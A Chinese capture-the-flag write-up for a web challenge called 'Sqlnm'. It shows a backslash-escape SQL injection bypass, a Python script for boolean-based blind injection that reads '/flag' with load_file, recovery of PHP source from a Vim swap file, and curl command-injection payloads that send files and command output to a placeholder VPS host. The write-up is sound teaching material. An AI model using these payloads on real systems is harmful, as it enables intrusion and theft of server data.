Sqlnm
这是一道Web题,访问界面如下:
查看源代码,目录扫描,BP抓包都没有发现什么线索,正常登录的报文是这样:
由题目提示猜想可能是SQL注入,尝试输入单引号,但是被过滤了:
这里尝试了宽字节注入、00截断、unicode编码都无法绕过
%bf%27 %df%27 %aa%27 //宽字节注入
最后发现可以通过输入反斜杠\
来转义username的第二个单引号,将username的第二个单引号转义为普通的单引号字符,而username的第一个单引号和password的第一个单引号闭合,Payload如下:
username=admin\&password=or/**/1#
所以最终后台执行的SQL大约是这个亚子,去查询了用户名为admin'&password=
的用户,而password字段是我们可以控制的,存在SQL注入:
select * from users where username='admin\'&password='or/**/1#'
修改Payload,回显报错不同,so,这是一道基于布尔的盲注。
然后就可以开始愉快的coding了:
import requests
session = requests.session()
burp0_url = ""
burp0_cookies = {"PHPSESSID": "615d4232a3f154b4ea54eaa8a56237ba"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://ad2a722d-d5af-43fd-b4b8-7840de2a24d0.machine1.dasctf.com:20000", "Connection": "close", "Referer": "http://ad2a722d-d5af-43fd-b4b8-7840de2a24d0.machine1.dasctf.com:20000/", "Upgrade-Insecure-Requests": "1"}
for i in range(1, 40):
for c in range(45, 127):
username = 'admin\\'
# password = f'or/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x7573657273),{i},1))={c}#'
# password = f'or/**/ascii(substr((select/**/group_concat(username)/**/from/**/users),{i},1))={c}#'
password = f'or/**/ascii(substr(load_file("/flag"),{i},1))={c}#'
burp0_data = {"username": username, "password": password}
r = session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
if '登录成功' in r.content.decode():
print(chr(c), end='')
break
这里还有几个点:
- 本题还过滤了空格,采用注释符
/**/
绕过。 - 爆破列名时需要将表明拼接到WHERE语句上,但是本题过滤了单引号,因此将表名转为16进制拼接。
select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x7573657273
- 爆破字段时,字段值为flagin/flag,使用mysql的
load_file()
函数读取系统文件,参数使用双引号来绕过单引号。
load_file("/flag")
以上是我第一次做这道题时,直接用SQL盲注解的。一年之后又遇到这道题,发现其实本题应该后面还有一个Vim源码泄露,这里再补充一下Vim源码泄露的解法。
其实我认为在比赛中解题方法不重要,条条大路通罗马,只要能拿到flag都证明你突破了一定的限制,至于用什么方法见仁见智。但在平时积累中,应该去掌握尽可能多的攻击手段,扩充自己的武器库,这样才能在比赛时游刃有余,为实战打下基础。
回归正题,因为本题存在SQL注入,当采用如下Payload登录成功时,跳转页面:
username=admin\&password=or/**/1#
(我第一次做的时候还在奇怪,为啥给了这个页面。。)
这里是一个Vim的源码泄露,访问/.curl.php.swp
页面,下载文件,并使用以下命令恢复临时文件:
vim -r .curl.php.swp
得到文件源码:
<?php
error_reporting(0);
session_start();
if(isset($_SESSION)&&$_SESSION['username']==1) {
$url=$_GET['url'];
if(empty($_GET['url'])){
echo("?url=www.weibo.com<br><img src=4.jpg>");
}else{
$url = 'http://www.weibo.com'.$url;
echo system('curl '.$url);
}
}
else{
die("请先登录".'<script language=javascript>window.location.href="index.php"</script>');
}
?>
我们请求的url参数会被拼接在http://www.weibo.com
后面,作为curl
命令的参数执行,可以使用@
截断,使用-d
参数读取文件内容:
/curl.php?url=@xx.xx.xx.xx:xx -d @/flag
VPS上起监听:
或者也可以直接执行命令:
/curl.php?url=@xx.xx.xx.xx:xx?a=`whoami`
VPS上查看:
查看目录的话,只能看到返回一个文件,为避免换行符阶段,使用base64编码即可:
/curl.php?url=@xx.xx.xx.xx:xx?a=`ls /|base64`